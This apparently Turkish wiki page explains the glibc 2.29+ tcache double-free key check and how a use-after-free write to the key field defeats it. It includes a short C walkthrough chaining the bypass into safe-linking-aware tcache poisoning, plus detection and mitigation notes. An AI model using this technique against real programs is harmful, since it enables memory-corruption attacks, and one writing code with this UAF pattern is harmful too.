Skip to content

tcache key bypass

glibc 2.29+'ın free edilmiş tcache chunk'larına damgaladığı key alanını overwrite ederek, double-free guard'ının chunk'ı artık tanımamasını ve ikinci bir free'nin başarılı olmasını sağlamak.

Mechanism

Note

glibc 2.29, yalnızca double free'leri yakalamak için tcache overlay'ine ikinci bir alan ekledi:

typedef struct tcache_entry
{
  struct tcache_entry *next;
  /* This field exists to detect double frees.  */
  uintptr_t key;
} tcache_entry;

(Bu typedef glibc 2.34+ formudur; 2.29–2.33'te alan struct tcache_perthread_struct *key pointer tipindeydi — key o dönemde tcache struct'ının adresine set edilirdi. 2.34, hem tipi uintptr_t'a hem de değeri getrandom-randomize bir global'e taşıdı — bkz. Mitigation.)

tcache_put, her free edilen chunk'ı process genelindeki bir tcache_key ile damgalar (static uintptr_t tcache_key;, 2.34+'ta getrandom ile randomize edilir):

e->key = tcache_key;   // "Mark this chunk as in the tcache"

free'de, _int_free tekrar push etmeden önce o damgayı kontrol eder:

tcache_entry *e = (tcache_entry *) chunk2mem (p);
if (__glibc_unlikely (e->key == tcache_key))
  {
    tcache_entry *tmp;
    size_t cnt = 0;
    for (tmp = tcache->entries[tc_idx]; tmp;
         tmp = REVEAL_PTR (tmp->next), ++cnt)
      {
        if (cnt >= mp_.tcache_count)
          malloc_printerr ("free(): too many chunks detected in tcache");
        if (tmp == e)
          malloc_printerr ("free(): double free detected in tcache 2");
      }
  }

Guard iki aşamalıdır: ucuz e->key == tcache_key testi ve yalnızca eşleşirse, p'nin gerçekten mevcut olduğunu doğrulamak için bin'in bir yürüyüşü. Zayıflık: key free edilen chunk'ın user data'sında yaşar. İlk free'den sonra oraya bir byte yazabilirsen, e->key != tcache_key olur ve pahalı doğrulayıcı yürüyüş tamamen atlanır — ikinci free() doğrudan tcache_put'a ilerler.

Walkthrough

Bypass, free edilen chunk'a bir use-after-free write'ı gerektirir (ya da user data'sının +0x8 offset'ine ulaşan herhangi bir overlap):

long *a = malloc(0x40);

free(a);                  // tcache_put: a->key = tcache_key
// free(a);               // <-- would abort: "free(): double free detected in tcache 2"

a[1] = 0;                 // UAF: clobber the key field (user offset +8 == e->key)

free(a);                  // key no longer matches -> guard skipped -> a freed AGAIN

Şimdi tcache bin'i a'yı iki kez içerir (bir tcache dup); gerisi poisoning'dir:

long *b = malloc(0x40);            // pops a
b[0] = (long)(target ^ (((long)b) >> 12));   // safe-linking-aware next overwrite (2.32+)
malloc(0x40);                      // pops a again
long *x = malloc(0x40);            // pops &target

Beklenen çıktı: a[1]=0 olmadan program free(): double free detected in tcache 2 ile ölür; key temizlendiğinde, her iki free de başarılı olur ve sonraki malloc'lar overlapping/kontrol edilen pointer'lar döndürür.

0'a temizlemek neden işe yarar

tcache_key, sıfırdan farklı rastgele bir değerdir (2.34+) ya da bir tcache-struct pointer'ıdır (2.29–2.33). Canlı tcache_key dışındaki herhangi bir değer ucuz testi yener. Sıfırlamak kullanışlıdır ama farklı tek bir byte bile yeterlidir; key'e bir off-by-one ya da kısmi overwrite'ın yeterli olmasının nedeni budur.

Warning

Kontrol yalnızca hesaplanan size'ı geçerli bir tcache index'ine eşlenen chunk'lar için tetiklenir. tcache_get'i korumaz — allocation'da key kontrolü yoktur — dolayısıyla tcache poisoning key'den bağımsız olarak etkilenmez. Ayrıca guard, iki thread'e bölünmüş bir double-free'yi yakalayamaz (her thread'in kendi tcache'i vardır).

Detection

key alanı değiştirilmiş bir free edilmiş tcache chunk'ı ya da counts'u ile linked-list uzunluğu uyuşmayan bir bin anormaldir. free(): too many chunks detected in tcache ve free(): double free detected in tcache 2 abort'ları glibc'nin kendi runtime tespitleridir; hardened allocator'lar (Scudo, hardened_malloc) yeniden kullanımı doğrudan reddeder.

Mitigation

  • glibc 2.34, tcache_key'i kriptografik olarak rastgele yaptı (getrandom); 2.29–2.33 key'inin sunduğu ASLR/heap-pointer leak'ini kaldırdı ve bypass etmek için gerçek bir UAF write'ı zorunlu kıldı.
  • 2.32 safe-linking next'i mangle eder, dolayısıyla bypass sonrası poisoning mangle edilmiş pointer'ı türetmelidir.
  • Guard kasıtlı olarak ucuz ve best-effort'tur; kazara double free'leri ve naif exploit'leri durdurur ama free edilen chunk'a herhangi bir write verildiğinde tamamen bypass edilebilir.

References